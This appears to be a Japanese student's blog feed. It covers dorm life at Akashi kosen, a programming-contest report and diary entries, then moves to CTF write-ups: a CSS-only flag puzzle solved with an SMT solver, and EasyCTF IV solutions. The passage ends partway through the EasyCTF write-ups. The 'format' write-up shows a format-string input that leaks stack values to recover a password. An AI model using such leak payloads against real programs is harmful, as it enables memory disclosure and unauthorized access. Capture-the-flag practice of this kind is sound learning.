更新日時で差をつけろ

むしろ差をつけられている

たのしい潮寮生活 2

高専 Advent Calendar 2018の6日目の記事です。

明石高専電気情報工学科2年のsei0oです。
高専への進学を検討している中学生や通学している同級生に寮がどんなところか知ってもらえればと思い書いたたのしい潮寮生活がそこそこ見られているようなので、調子にのって2つ目を出すことにしました。時間が空いているので、内容は結構変わっています。「潮寮」というのは明石高専学生寮の名前です。

2年生の視点で書きます。 2年生の視点で書きます。大事なことなので2回言いました。昨年からの差分を主に書きますので、上の記事から読むとわかりやすいと思います。 高専自体についてはあまり書きません。

公式も参照してください。みどころはやっぱり寮長からのメッセージかなあ。

去年は 住めば都 とか書いてたような気がしますが、最近やっぱりそうじゃないかもしれないと思えてきました。 なんとなくAdvent Calendarの昨日の記事を読むと、

明日6日目はsei0oさんの「たのしい潮寮生活 2」です。私は通生なので詳しくありませんが、寮生がゴミ回線と虚無な飯と点呼によって精神を病むのは全国共通なんですかね?うちがひどいだけ?

うーん。否定できない。

立地

まずはデータから。

  • 校内に設置されているので教室から歩いて3分
  • 1, 2, 3年男子寮のA寮(私はここに住んでいるので、ここを中心に書きます)
  • 3, 4, 5年, 専攻科のC寮
  • 女子寮のB寮
  • 国際交流センター
    • 留学生しかいない棟(たぶん)
  • 隣に老人ホームが建ったので窓からドクターイエロー見えなくなりました

部屋

昨年は203号室、今年度は209号室です。1・2年の2人部屋で、向かいは3年生の一人部屋。 相変わらずオタクです。本棚の本をひっくり返して背表紙が見えないようにすると脳のエネルギーが節約されて快適です。 二人部屋だとだいたい2年生が冷蔵庫を買って1年生と共同で使うので、前の同部屋の先輩と同じものを買いました。 Abitelax AR-100E

後方確認

結構気分で机周りのレイアウトは変えていて、机の上にいろいろ部品を載せて開発するときは灰色の机を90度回転して黒い机と合体してL字型のようにしていました。

改修

夏休みに、2F, 3Fのそれぞれ8部屋が改装されました。そこだけキレイ。 こんな感じで境界がくっきりしています。なぜかその両脇に設置された消火器はさながら国境警備隊のようです。見てわかる通り、手前が歴史のある地区、奥が改装された地区です。

ドアに高専プロコンのポスターを貼る高専生の鑑。

なんでもタイのなんとか王女なんとか高校から留学生を恒常的に受け入れるそうで、2・3階の1人部屋が「交流スペース」になったり、寮生ホールにユニットバスが設置されたりそこそこ大きな改修がありました。1人部屋にいた人はどうなるの?ということですが、かつての談話室が2人部屋に改装されてそこに新たな1年寮生と1人部屋の2年生が入っています(今年は1年生の入寮希望者が多くて入学と同時に入寮できない人がいました)。1人部屋を追い出された2年生は若干気の毒ですね(他人事)。

「交流スペース」を利用している人はほとんどいませんテスト前になると使う人が増えました。でも先輩が通ったら作業中でも挨拶しなくちゃいけないことになっています。

また、新しいシャワー室と洗面所ができました。まだきれい。

生活

今年の1年生が利口なのか、指導寮生(寮生役員会)が軟化したのか(たぶん両方)今年は入寮後に1ヶ月ほど大声挨拶があったあとは復活していません。ありがたい。

今年の2年寮生は多いので2人部屋に収まりきらず、1人部屋になる人も出ました。進級するときにじゃんけんで確か決めたような記憶があるのですが、話し合いでボケーッとしていたら私は2人部屋になりました。1人部屋になって監視の目がなくなると生活崩壊まっしぐらなので丁度良いです(言い訳)。

昨年は「同部屋の先輩」でしたが、今年は「同部屋の後輩」。都市システム工学科(C科)の1年生です。 プライバシーにうるさい時代なので詳しくは書きませんが、私は朝型であるのに対し彼は夜型(徹夜型)です。試験期間になると消灯がなくなり彼が徹夜で課題をするので、私は耳栓とアイマスクをして寝ていました。 あとはエアコン。私は28度で使って、暑いときは26度まで下げるのが普通だと思っていましたが、ある日部屋に入ると突き刺すようなひんやりとした感覚があったのでリモコンを見てみると「18度」。聞いてみたところ、部活の後は暑くて28度ではやっていけないらしいです。28度に戻しても気づかないうちに温度が変えられているので上着を羽織って凌いでいました。他の部屋に枕を持って疎開したことも何度か。 エアコンの温度を下げるにつれて私の就寝時間が早くなり、起床が遅くなるらしいです。試されてたのか…

今年だけの話とはいえ、工事も個人的には結構負担でした。土日でもお構いなくカンカンカンカン聞こえるので、部屋の中ではずっとイヤーマフか耳栓をしていました。試験前やプロコンなどでピリピリしているときは、工事でなくとも同部屋の喋り声・口笛だけでもイライラします(ごめんな…)。余計な衝突を避けるためにも 一人になる方法や五感を遮断する方法は作っておいたほうがよい です。自己管理大切。常に周りに人がいる状態は一人っ子にはつらい。 図書館にこもって作業するのもオススメです。学校の図書館と明石市の西部図書館が近くにあります。西部図書館には苫米地英人の本が置いてあったこと以外覚えていませんが、学校の図書館には「CPUのつくり方」みたいな専門書も結構置いてあって良いです(良い)。

これくらいかな。あっ、(男子の) 風呂 を忘れていましたね。半年以上前にレジオネラ菌が発生した影響で毎日18:00ごろから数回消毒液のようなものが浴槽の壁から出てくるのですが、これが臭い臭い。ときたま身体が痒くなることもありますがこれは多分気のせい。1,2年生は17:30からしか風呂を使えないので、18:00までの30分が鍵となります。20:00ぐらいに行けば臭いは薄まっているでしょうが、その時間帯はすでにお湯がヌルいんだよなぁ… 早く改善されることを祈るばかりです。

…嘘です。新設されたシャワー室しか使ってないのでもうどうでもいいです。元来シャワーだけというのは好きではありませんが、静けさと部屋からの近さを考えればシャワーの圧勝です。実際、同じ階の人の半数近くがシャワーのみで生活しています。

人間関係

少なくとも通学生に比べれば寮生は親密になります(多くの場合)。私はそうです。 いろいろチームで課外活動をするにあたっても、寮生なら直接部屋に突撃して進捗を強要できます。SlackとかDMで連絡してもスルーする人いるからねえ(自戒の意味を込めて)。

他の部屋の一年生には「209仲良いっすよねえ」と言われるのでそれなりにうまくできているんでしょう。「1年生、入寮直後は不安だろうなあ」と思ってたくさん私のほうから話しかけたのはあるとはいえ…。他の2年生から話を聞くと、「ほとんど話してない」「何考えてるかわからん」というのもあるので、相性ばかりはどうしようもないです。でもそんなときは他の部屋に篭もれば大丈夫です。 バーチャルCTF班などと題して夜に部屋に集まって情報工学研究部CTF班の活動をするなどというのは楽しいです。こうでもしないと人が来ない

まとめ

いろいろ書きましたが、なんとかするぞという意志を持てばなんとでもなります。 寮務や先輩、同級生に相談しつつ反抗的な態度を取らなければ十分快適に寮生活が送れます。

高専アドカレ、明日は@lz650sssさんが「高専生はもっと積極的に勉強会に行くべき」という記事を書かれるそうです。

そういえば12/16の大和セキュリティでキャンセルが出たので、久しぶりに勉強会に行けます。わーい。明石高専IT系勉強会も引き継ぐことになったので続けていきたいですねー。

全国高専プロコンに参加した #procon29

第29回全国高専プロコン に参加した。阿南高専が主管校。そこの学生さんたちがスタッフとしていろいろ大変だったらしい。

昨年は競技部門だったが、今年は明石高専・課題部門「スマートコンシェルジュ」としてブースに立った。5人チーム。 結論から書くと、受賞はなかった。学生間の相互投票では1位だったが、投票の母数はそんなに多くないはず。

もしかすると他のコンテストにこれを出すかもしれないので、プロダクトの詳細はぼやかして書く。ところで、チームメンバーが思いっきりプロダクトの実装をTwitter上で質問していたので少しヒヤヒヤした。何もなかったのでよかった。おそらく自分がちょっと過敏だっただけ。

予選まで

学内でプロコンの案内が出て、「あーまあ今年はいいかな」と思っていたところで昨年一緒にプロコンに出たM君に誘われた。アイデアはあるらしい。「うーん、それって面白いのか?」と思いつつ手伝うつもりで出ることにした。今思えばこの手伝うつもり、って心構えが無責任さの現れだよなーと思う。もうちょっとしっかり考えておけばよかった。実装は楽しかった。 学内予選があったが、候補が自分たちのチームだけだったのでそのまま予選資料に着手した。たしか実装はほとんどしていなかったと思う。スマートスピーカーを使ったプロダクトだったので、Amazon Echo, Google Homeの比較をしてみたり…という段階だったはず。放課後に研究室に集まって作業の割り振りとか設計の話してた。

予選資料提出の2週間前ぐらいに資料を作り始めた。M君が作ったのをベースに担当の先生のアドバイスを組み込んでいく感じで進めた。文章を考えたり図を作って入れたりするのが面倒だった。定期試験がすぐ後にあって結構焦っていたのを覚えている。急にPCの調子が悪くなって寮の貧弱無線LANに接続できなくなったので学校で作業したんだっけ。なんとかギリギリで提出して、「いやーもっと早くからやっておけばよかった」みたいな話をしていたら通ってた。驚いた。通過ランクはBなので予選では11~20位のどこかということになる。審査員のコメントは(自分は)無視した。

本選まで

この予選資料を基にして実装を進めることになった。つまり予選資料として提出するまでほとんど具体的に設計、というより実装する機能がまとまっていなかった。チームメンバー間の技術レベルに差があったので「一人でやったほうが早い」病に苦しめられた。分担してみるとそんなことなかったんだけれど。

自分は途中で留学したのもあって10月始まってからグオーっと開発した。ソースコード提出が終わってから本選までのコミット数が、予選通過後からソースコード提出前のそれより多い。寮の消灯を伸ばしてもらって開発することもあった。同部屋さんごめんなさいとも思ったが普段冷房で散々な目にあっているのでお互い様である。本当にヤバくて「プロコン行きたくない〜〜〜」とかむちゃくちゃなこと言ってた。ピリピリしてた。

そんなわけで(自分の)累計開発期間は1ヶ月と少し。

出発〜本選1日目

購入しておいたバスチケットを競技部門含めたみんなに配って前日入りした。車内でもLANが使えた。実装しようとPCを開いたら酔った。ホテルの無線LANはまさかの暗号化なしだった。階ごとにルーターが違う方法で設置されていて面白かった。会場にいくと東京高専のオタクが突如現れて怖かった。2人で自撮りした。夕食は中華そばの店に行った。腹が満たされて少し焦りが和らいだ。出た瞬間に雨降ってきてびしょ濡れになった。

結局徹夜した。実装の関所を越えたところだったのでサクサク進んで楽しかった。MONSTERのCUBA LIBREがすごく美味しかった。なんだこれ。

朝は食欲がなかったが体力を使う日だとわかっていたのでそれなりにしっかりホテルの朝食をとった。よくわからないアニメが流れていた。前日に運び込んでいないので、荷物を忘れていないか心配だった。

会場に向かうバスでも「帰りたい〜〜もう無理や〜」と気分だったが、いざブースに立ってみれば幸か不幸か案外マシな反応が得られるものである。一安心した。メンバーのプレゼンもうまくいったらしい。手書きで機械学習アピールをしだすの面白かった。する意味はなかったんじゃないかと思うが。

スマートスピーカーは物理的なインターフェースを少なくするために無線LAN経由で設定を行うが、会場ではいろいろなAPが立てられていて実機を動作させられなかった。仮に設定できていたとしても、会場の騒音ではうまく音声認識ができたとは思えない。あらかじめ予想はしていたがどういう騒音対策をとればよいかわからず何もできなかった。結局当日はAlexa Skill Kitが提供しているスマートスピーカーのシミュレータ上でデモを行った。

あと会場の電気を使っていいよと言われるまでルータで有線LANを構築できなかったのでRaspberry Pi等の設定も遅れた。こうしたトラブルに見舞われて最初の1時間強は展示できなかった。

Twitterで知り合った他の高専の人にも会った。名刺をたくさん交換した。ぐるーっとブースを回ってみたが自ブースが気が気でなくてじっくりとは見ていない。

終わるころには話し疲れて「帰りたい〜〜」って言ってた。学生交流会はいつも通りすごかった。Twitter大事。夕食はカレー。

本選2日目

急遽作ったポスターを貼った。事前にポスター作ってないチームって今思ってもクレイジー。靴下を持っていくのを忘れて靴を直接履いていたら靴擦れしたので途中からブースの外では裸足だった。痛かった。

デモ審査とマニュアル審査があった。まあまあうまくいったが、一部完成度の低さが露見する場面があってつらかった。

冒頭で述べた通りチームの受賞はなかった。詫間強いなー。阿波踊りが思っていた以上に長かった。なんかすごかった。でもやっぱり依然として早く帰りたかった。

その後

バスまで時間を潰す必要があったが、徳島駅前のどこかで作業しようと場所を探したが手持ちのMacのバッテリー残量が3%だったので適当に100均あたりをうろうろした。 バスで隣に座ったメンバーが悔しいと言っていた。そうだねえと言おうとしたが、まあこの作業量なら当然の結果だよなという思いもあったので何も言わなかった。

徳島の街並みはちょっと古いのがよかった。

同日にロボコンの地区大会(?)もあった。明石Aチームが全国進出した。すごい。 翌日になってロボコンの話のあとに「そういえば、」のノリでプロコンの話題を振られるのも、それに対して「ダメだったよー」と返すのもこたえた。


個人でまとめていた反省点は箇条書きでも3700文字ぐらいになっていた。たとえば、技術レベルの差があるのは割り切って、予算あるんだし本でも読んでもらえばよかったんじゃないかなあと思っている(そうすれば当人が暇になることも無力感を覚えることもなかったかもしれない)。何かメンバーが困っている時に直接口で説明すると疲れるし、部屋に来られても集中できないのでまずはSlackで話してもらうようお願いしておいたのはよかった。

Trelloを使ってタスク管理をしてみたが常用していたのは自分だけだった。そういうツールが必要になるレベルにすら全体の作業量が達していなかったのかもしれない。すぐ忘れる性格なので個人的には助かった。

昨年の記事を読み直すかぎり結構つらそうな書き方をしているが(たぶん自戒の意味を込めてきつく書いたような気がする)、それに比べて今年は諦めがついたというか「ないものはない」という考えで落ち着いているように思える。メンバーも高専祭実行委員会・インターン・FE/AP試験で忙しかったし。(ただの言い訳じゃないかという人もいるかもしれないけれど知ったこっちゃないです。学びがあったのでそれで僕は今年はそれでいいと思ってます。)SecHack365でトレーナーの方に教えていただいたこともこの辺に影響を与えていそう。

来年はもうちょっと計画的に進めていきたい。出るかわからないとはいえ。 プロコンに参加した人も運営の人もお疲れ様でした。

angstromCTF 2018 に参加した

sei0o, @yfba_, @6Lgug, @cotton392, @Tako_Mochiii でチームを組みました(BiPhone)。

angstromCTF 2018 に出ました。

自分は1630pts取って合計2465ptsで37位、景品を受け取る資格があるアメリカ在住の高校生のチームならば6位と7位の間でした。

低難度の問題が案外すぐ尽きてしまってCTFに意欲を示していた2人が1問も解いてないのがアレ。yfba_が予想以上に熱心にやってた。
slots, Very ez cipher, Washington, Hellcode, Bank Ropperyは解きたかったなあ。
逆にFile Storer, Madlibsは過去のCTFでの知見を活かせたので良かった(両方web...)。

Discordグループをメモとおしゃべりに活用した。楽しかった。

解いた10問のwrite-upはScrapboxに置いてあります

3/5

午前中はAtCoder Omedesを作っていた。Elixirのリハビリ。コンテストごとにレート色が上がった人を祝福してくれます。
午後からはx86エミュレータをElixirで作っていった。条件分岐をif-elseでやるか、ガードでやるか、もしくはループをEnumで実現するかパターンマッチ+再帰で書くか迷う。
HTTPoisonなどを読んでみるべきだろうか。コードリーディングは若干苦手だが…
The BEAM Bookというのもあるみたい。

群論なんかこわくない」「バイナリで遊ぼう」も100ページ弱まで進んだ。
アーベル群とか部分群とか出てきて本格的になってきた。
アセンブリ短歌が想像以上に面白い。でも自分では思いつかないなぁ…

本を読むのは楽しいけど、ちゃんと身につけるようにしたい。どうやったらいいのかわからないからとりあえず手を動かすようにはしている。
pwnもcryptoも最近してないしそれに関して言えばよくない。もっと集中してスピード上げたい。

IOLは書類をやっとポストに入れてきた。通るかな?

3/3: 閉寮

閉寮なので家に帰った。1ヶ月後には後輩ができるのか…
久しぶりに浴槽に浸かれた。素晴らしい。

なんとなく図書館に行った。x86エミュレータの本が目当てだったけど他にもいろいろ面白そうなのでついつい8冊借りてしまった…
割と薄めの本ばっかりだしルータ本と線形代数本とTOEICあってもなんとかなるでしょ!w

  • 自作エミュレータで学ぶx86アーキテクチャ Twitterでおすすめされているのを見た。著者の人すごい…。個人的に表紙にキャラクター載ってるとちょっとアレ。かわいいとはいえ。
  • 群論なんかこわくない 対話形式で進める群論の入門の本。適当に数学書の棚に行ったらあった。すでに60ページほど読んだ。
  • APIデザイン ケーススタディ Rubyのメソッドを作る際に考えられたことをコミッタの人が書いてる
  • リンカ・ローダ 実践開発テクニック 半年前だったらまず手に取らなかったであろう本。というか全部そう。実際にリンカを作るので楽しそう。
  • ソーシャル・エンジニアリング コミュ力を身に着けたい(誤った動機
  • バイナリで遊ぼう! どこかでおすすめされてた本。俳人になりてえ
  • Linuxカーネルソースコード」を読み解く たまたま見かけたので。ブートプロセスを取り上げた本もあったけどちょっと難しそうなのでこっちで慣れることにした。
  • インターネットフォレンジック 某氏に影響されて借りた。実例が載っているので良い。
  • 学んでみよう! 記号論 SAT/SMTソルバがここしばらくマイブームで、目次にCNFという文言があったので借りた。ポップなタイトルと表紙とは裏腹に中身はガチっぽい。

他にもシェル芸でCMSを作る本とか大じゃない方の熱血アセンブラ入門とかあったけど量が量なので見送り。

EasyCTF IV の MalDropper を解きたくてC#のデコンパイラを入れたいのにILSpyが動いてくれない。困った...

IOLの1次予選はとりあえず感想を紙に書き写して、解法も半分ぐらい書き終わった。これで伝わるといいんだけれど。
「1000字も書けねえ〜」とか言ってる割にはこの日記は1000字ぐらいあるんだよな。

Chocolate Cookie 解説

バレンタインの直前に思いついたので、チョコレートのパッケージに混入させてURL渡したりTwitterに投げてみたりしたんですが結局誰も解けなかった・解かなかったみたいです…難易度が高すぎただけなのか、はたまたエスパーだったのか…

問題

http://o0i.es/chocolate に置いてあります。

想定解法

開発者ツールなどでページのHTMLを見てみます。
まず<div id='message'>があり、<input type='checkbox'> が7x7のマスを構成しています。
その後に<span> が大量に配置されています。そしてその間に{が1つ配置されています。
checkboxをオンにすると色が濃くなってチョコチップっぽくなります。
適当にオンオフしていくと下の文字が変化したりしなかったりします。

しかし、ここには<script>が見当たりません。どのようにして<span>の文字を変えているのでしょうか?また、Here's a chocolate cookie...という文字列もHTMLファイルには記述されていません。どこから来ているのでしょうか?

ページタイトルに「CSS: Chocolate Sugoku Suki」とあることですし、CSSを見てみましょう。
style.cssrules.cssを読み込んでいるようです。

まずは前者から。先頭にいきなりFLAGの形式が書かれています。FLAG{s.........}ですね。
<div id='message'>の内容もここから来ています。
CSS--name: valueの形で変数を作ることができます。他のプロパティで参照するときはvar(--name)のようにして参照します。#0099ffなどだいたい何でも入れられます。

:root {
  --message: "Here's a chocolate cookie for you, find FLAG" /* FLAG{s.................} */ "!";
  --cacao: "C";
  --ushio: "h";
  --banana: "1";
}
 
...
 
#message::after {
  content: var(--message); 
}

続きを見てみましょう。

span:first-of-type::after {
  content: counter(f, upper-alpha);
}
 
span:first-of-type+*::after {
  content: counter(v, upper-alpha);
}
 
span:first-of-type+*+*::after {
  content: counter(j, upper-alpha);
}
 
span:first-of-type+*+*+*::after {
  content: counter(y, upper-alpha);
}
 
...
 
span:first-of-type+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*::after {
  content: counter(e, lower-alpha) var(--banana);
}
 
...
 
span:first-of-type+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*::after {
  content: '}';
}

span:first-of-typeでページ内の一番最初の<span>を選択し、隣接セレクタ+とユニバーサルセレクタ*を組み合わせて次の要素を取っています。
span:first-of-typeなら1番目、span:first-of-type+*なら2番目、span:first-of-type+*+*なら3番目…という感じです。
そしてそれの::after疑似要素・contentプロパティを使って何らかの文字を表示しています。実際に表示される文字はここで決定されるようです。

通常はcontent: "new!";のように文字列を使用することが多いですが、ここではcounter()を用いています。カウンタは、主に<li>でリスト表記をするときに番号を自動で割り振るために使われるものです。MDNが詳しいです。
デモも置いておきます。

たとえば1番目ではfカウンタの数値をupper-alpha、つまりアルファベットの大文字にして表示しています。何も指定しない場合は数字が出力されます。
途中でvar()を使ってはじめに定義した変数を表示している部分もあります。

これらを読んでいくと、<span>で表示されるそれぞれの文字は以下のカウンタの値と固定値で出来上がることになります。'で囲っているのが固定値です。

f v j y '{'(spanの間) g q(数値) h n l k(数値) c 'h'(--ushio) i o r 'C'(--cacao) p t d e '1'(--banana) s u(数値) '}'

fvjy{g.....}のカウンタの値を先程のFLAG{s......}と対応させることができればFLAGがわかるということです。

ゴールがわかったので、次にrules.cssを見てみましょう。
似たようなコードが繰り返されています。

input:nth-of-type(3):checked ~
input:nth-of-type(8):not(:checked) ~
input:nth-of-type(34):checked {
  counter-increment: h 3 g 1 r 3 f 1 k 2;
}
 
...

input:nth-of-type(N)でN番目のcheckboxを選択し、それぞれがON(:checked)かOFFかでスタイル(もはやスタイルではない)を適用するか決めています。
~はその要素以降の兄弟要素に対して適用されます。

この場合だと、「ONになっている3番目のcheckbox」の後ろに「OFFになっている8番目のcheckbox」があり、さらに後に「ONになっている34番目のcheckbox」がある場合に適用されます。
つまり、「3番目がON」かつ「8番目がOFF」かつ「34番目がON」ならば適用するという意味だとわかります(以降これをルールと呼びます)。

counter-incrementはその名の通りカウンタをインクリメントするのですが、後ろに数値を指定することで増加数を自由に変えられます。ここではh += 3, g += 1, r += 3, f += 1, k += 2という感じです(カウンタの中身はあくまで数値で、表示するときにアルファベットにしているだけです)。
試しに問題ページで3,8,34番目を操作してみると変化がわかりやすいと思います。

このrules.cssのすべてのルールに合うようにすればFLAGが出てくるのでしょうか?

…答えはNOです。
もういくつか見てみると以下のinput:nth-of-type(2)のように、互いに矛盾しているルールがあります。FLAG{sという文字列にするために使うルールと使わないルールがあり、その組み合わせを求める必要があります。

input:nth-of-type(2):not(:checked) ~
input:nth-of-type(39):checked ~
input:nth-of-type(44):not(:checked) {
  counter-increment: n 3 s 3 f 1 d 3;
}
 
input:nth-of-type(2):checked ~
input:nth-of-type(6):checked ~
input:nth-of-type(16):not(:checked) {
  counter-increment: p 2 f 1 k 2 j 3;
}

でもどうやって求めるのでしょうか?
全探索? O(249) = 562949953421312通りなので厳しいですね。

制約充足問題 で検索してみましょう! wikipediaを引用します。

制約充足問題(せいやくじゅうそくもんだい、英: Constraint satisfaction problem, CSP)は、複数の制約条件を満たすオブジェクトや状態を見つけるという数学の問題を指す

これの例としてよく挙げられるのは数独です。それぞれのマスを変数として、「ヨコの行・タテの列・3x3の正方形に1~9を1回ずつしか使えない」という制約を満たすような数字の入れ方を求める制約充足問題になります。
この数字を求める、つまり問題を解いてくれるスゴイものがSAT/SMTソルバと呼ばれるものです。
代表的なSATソルバにminisatがあります。SAT ソルバー 入門 がわかりやすいのでおすすめです。

ただ、SATソルバでは真偽の制約(aがtrue, bがfalse, かつcがfalse…)しか扱えないので直接扱うには大変な場合があります。対してSMTソルバは内部でSATソルバを呼び出しますが、整数の大小・「AならばB」などを制約として扱う構文を備えているのでSATよりもシンプルに書くことができます。
パズルをSugar制約ソルバーで解く も見てみると雰囲気がつかめると思います。

さて、それではこの問題にはどのような制約があるでしょうか?

  • 3つすべてのcheckboxが条件を満たしてはじめて、ルールが有効になり、それに応じてそれぞれのカウンタに加算する
    • 逆に、「ルールを使わないときは加算しない」「ルールで指定されていないカウンタには加算しない」(見落としがちです)
  • f v j y gカウンタの値はそれぞれF L A G sに対応する数値になる

この2つです。
1番目の制約は、たとえば以下のルールがあったとき

 input:nth-of-type(2):not(:checked) ~
 input:nth-of-type(39):checked ~
 input:nth-of-type(44):not(:checked) {
   counter-increment: n 3 s 3 f 1 d 3;
 }

このように変換できます(擬似コードです)。

rule_satisfied ← not(input[2]) and input[39] and not(input[44])
if rule_satisfied then n += 3, s += 3, f += 1, d += 3, (それ以外) += 0
if not rule_satisfied then (すべてのカウンタ) += 0

…と言いたいところですが、SMTソルバはtrue/falseで表現される制約を解くためのものなので、n += 3のように「変数に逐次値を足していってから比較する」ということができません。私もここで詰まり2日ほど考えた末「あとから全部まとめて和をとって比較する」ようにすればうまくいくことに気づきました。

具体的には以下のようにルールごとの増分を記録する配列を作り、制約をかけます(普通の代入とそっくりです)。

rule_satisfied ← not(input[2]) and input[39] and not(input[44])
if rule_satisfied then
  table[rule1][n] == 3, table[rule1][s] == 3, table[rule1][f] == 1, table[rule1][d] == 3,
  table[rule1][それ以外] == 0
if not rule_satisfied then table[rule1][すべてのカウンタ] == 0

そして、これを用いれば2番目の制約が表現できます。fカウンタの値はそれぞれのルールでの増分の和になるので、table[rule1][f] + table[rule2][f] + table[rule3][f] ... table[ruleN][f]として表現できます。

table[rule1][f] + table[rule2][f] + table[rule3][f] ... table[ruleN][f] == 'F'
table[rule1][v] + table[rule2][v] + table[rule3][v] ... table[ruleN][v] == 'L'
table[rule1][j] + table[rule2][j] + table[rule3][j] ... table[ruleN][j] == 'A'
table[rule1][y] + table[rule2][y] + table[rule3][y] ... table[ruleN][y] == 'G'
table[rule1][g] + table[rule2][g] + table[rule3][g] ... table[ruleN][g] == 's'

あとはこの2つをプログラムに落とし込むだけです!
私はz3というSMTソルバを使って解きました。GitHubにRubyでのコード例を載せています(あんまりきれいじゃないね…)。

実行するとFLAG{sという文字が現れるようなルールの組み合わせと、それらを満たすcheckboxのオンオフ、計算されたFLAGが出力されます。
実際のページでやってみると…うまくできました! FLAG{s0rry4Ch3apCh0co1at3}がFLAGです。

その他

  • 最初のバージョンではルールの数が20しかなく、O(220)で組み合わせるルールの全探索が可能でした
  • ルールを増やしたところ解が複数になってしまい削減できなかったため苦肉の策としてFLAGの1文字目を指定しました
    • これのせいで全探索の計算量減っちゃうかも?誰かおしえて
  • Xmas Contest 2017 I問題を解くために調べているときに思いつきました
  • CSSはチューリング完全

EasyCTF IV write-up

EasyCTF IV にチームBiPhoneから出ました(一人だけど)。2056ptsで89位でした。
楽しかった。ハリネズミ本に載っているようなpwnがあったので同級生に投げていこうかな。
以下write-up。問題数多いので10ptsや30ptsの問題は大体略していますごめんなさい。

Substitute 50pts

easyctf{THIS_IS_AN_EASY_FLAG_TO_GUESS}で通らず1日放置してから、HERE: EASYCTF{THIS_IS_AN_EASY_FLAG_TO_GUESS} USE CAPITAL LETTERS.をまるごと投げたら通った。は?
sedするよりもhttp://quipqiup.com に投げたほうが早い。

$ echo 'FI! XJWCYIUSINLIGH QGLE TAMC A XCU NSAO NID EPC WEN AXM JL EIEASSF HDIGM IN JEL JXOCXGJEF. EPJL JL ASLI EPC LCWIXM HDIYSCT CZCD TAMC NID CALFWEN. PCDC: CALFWEN{EPJL_JL_AX_CALF_NSAO_EI_OGCLL} GLC WAHJEAS SCEECDL.' | sed -e 's/F/y/g' -e 's/C/e/g' -e 's/L/s/g' -e 's/H/p/g' -e 's/W/c/g' -e 's/E/t/g' -e 's/N/f/g' -e 's/A/a/g' -e 's/P/h/g' -e 's/J/i/g' -e 's/I/o/g' -e 's/O/g/g' -e 's/G/u/g' -e 's/X/n/g' -e 's/S/l/g' -e 's/D/r/g' -e 's/U/w/g' -e 's/M/d/g' -e 's/Z/v/g' -e 's/T/m/g' -e 's/Y/b/g' -e 's/T/m/g'
 
yo! nicebowlofsoup Qust made a new flag for the ctf and is totally proud of its ingenuity. this is also the second problem ever made for easyctf. here: easyctf{this_is_an_easy_flag_to_guess} use capital letters.

Soupreme Encoder 20pts

FLAG: hexit_mate_c17c5c159e1f0cb857f2
'68657869745f6d6174655f6331376335633135396531663063623835376632'.chars.each_slice(2) { |p, q| print (p+q).to_i(16).chr }
としていたが
['68657869745f6d6174655f6331376335633135396531663063623835376632'].pack("H*")でよかった。

Intro: Reverse Engineering 30pts

もう1回暗号化するだけだが、Pythonの扱いに慣れない…
easyctf{char_by_char_67bdFD}
https://stackoverflow.com/questions/17615414/how-to-convert-binary-string-to-normal-string-in-python3

#!/usr/bin/env python3
import binascii
key = "DbitqlPo"
def mystery(s):
    r = ""
    for i, c in enumerate(s):
        r += chr(ord(c) ^ ((i * ord(key[i % len(key)])) % 256))
    return binascii.hexlify(bytes(r, "utf-8"))
 
expected = '6503c2a125c2a768c28672431a7bc28e131e19c39e23c3aa03c3aec28bc3aac397c29b04c394c3ae41'
plain = mystery(binascii.unhexlify(expected).decode('utf-8'))
 
print(binascii.unhexlify(plain).decode('utf-8'))

format 160pts

x64でのFSB。espが指す場所にそのまま積まれている。

user95405@shell:/problems/format$ ./format
Enter your name: %p %p %p %p %p %p %lx %lx %lx
Your name is: 0x400a5a 0x7f8a8ea9b780 0xe 0x7f8a8ecb8700 0xe (nil) 4625f35200000000 7025207025207025 2520702520702520
 
Enter your secret password (in hex)
4625f352
easyctf{p3sky_f0rm4t_s7uff}

Starman 1 80pts

ナップザックDP。

#include <iostream>
#include <vector>
#include <algorithm>
 
using namespace std;
 
int r[2018], w[2018];
int dp[2018][2018];
 
int main() {
    int N, W;
    cin >> N >> W;
    for (int i = 0; i < N; i++) cin >> r[i] >> w[i];
 
    for (int i = 0; i < N; i++) {
        for (int k = 0; k <= W; k++) {
            if (k >= w[i]) {
                dp[i+1][k] = max(dp[i][k], dp[i][k - w[i]] + r[i]);
            } else {
                dp[i+1][k] = dp[i][k];
            }
        }
    }
 
    cout << dp[N][W] << endl;
 
    return 0;
}

Liar 70pts

デバッグ情報がついているバイナリとそのソースが渡されるが、それらはダミー。逆アセンブルすると全く異なる処理が行われていることがわかる。読んでRubyに書き換えると以下のようになる。

def encode number
  f = [
    0x65, 0x66, 0x7d, 0x6c, 0x7f, 0x57, 0x4c, 0x4a,
    0x4b, 0x4b, 0x2f, 0x21, 0x38, 0x04, 0x15, 0x08,
    0x03, 0x19, 0x59, 0xf1, 0xd3, 0xe7, 0xf5, 0xce,
    0xf7, 0xcd, 0xd7, 0xd9, 0xe8, 0x94, 0xa0, 0xb0,
    0x87, 0x8f, 0x9a, 0xca, 0x81
  ]
  g = []
  buf = number ^ 0x58eb29
 
  0x25.times do |i| # <-----
    g[i] = 0xFF & ((buf * i) ^ f[i]) 
  end
 
  g[0x25] = 0
 
  g.each { |x| print x.to_s(16) + ' ' }
  puts g.map(&:chr).join
end
 
encode gets.to_i

出力される文字はeasyctf{なので、<---で示したループにおいてi=1のとき0xFF & ((number ^ 0x58eb29) ^ 0x66) = g[1] = 'a' = 0x61になればよい。
XORをとるとnumberは5827374とわかるので入力に与えるとFLAGが出る。

$ ruby exploit.rb
5827374
65 61 73 79 63 74 66 7b 73 74 69 6c 6c 5f 77 61 73 6e 27 74 5f 74 6f 6f 5f 62 61 64 2c 5f 72 69 67 68 74 3f 7d 0 easyctf{still_wasn't_too_bad,_right?}

Adder 80pts

radare2で見るとC++っぽいメソッド名がたくさん。
3つの数字を受け取って、その和が0x539 = 1337になればFLAGを表示する。

~/c/e/adder $ ./adder
Enter three numbers!
1337 0 0
easyctf{y0u_added_thr33_nums!}

Keyed Xor 100pts

案外苦戦した。
大量の単語が改行区切りで入ったwords.txtから2単語選び連結した文字列と暗号文keyed_xor.txtのXORを取るとFLAGが出るらしい。

words.txtは20538行あるので、すべての組み合わせを試そうとすると20538 * 20537通りなので終わらない。
いろいろ悩んだ末、復号した平文がeasyctf{で始まっていると仮定して暗号文とXORをとり、鍵を逆算してみた。
すると鍵がaggravatで始まっていることがわかる。

$ xxd keyed_xor.txt 
00000000: 0406 140b 0202 070f 0308 1217 030f 140b  ................
00000010: 0718 0e15 070b 0615 121a 1906 000b 011c  ................
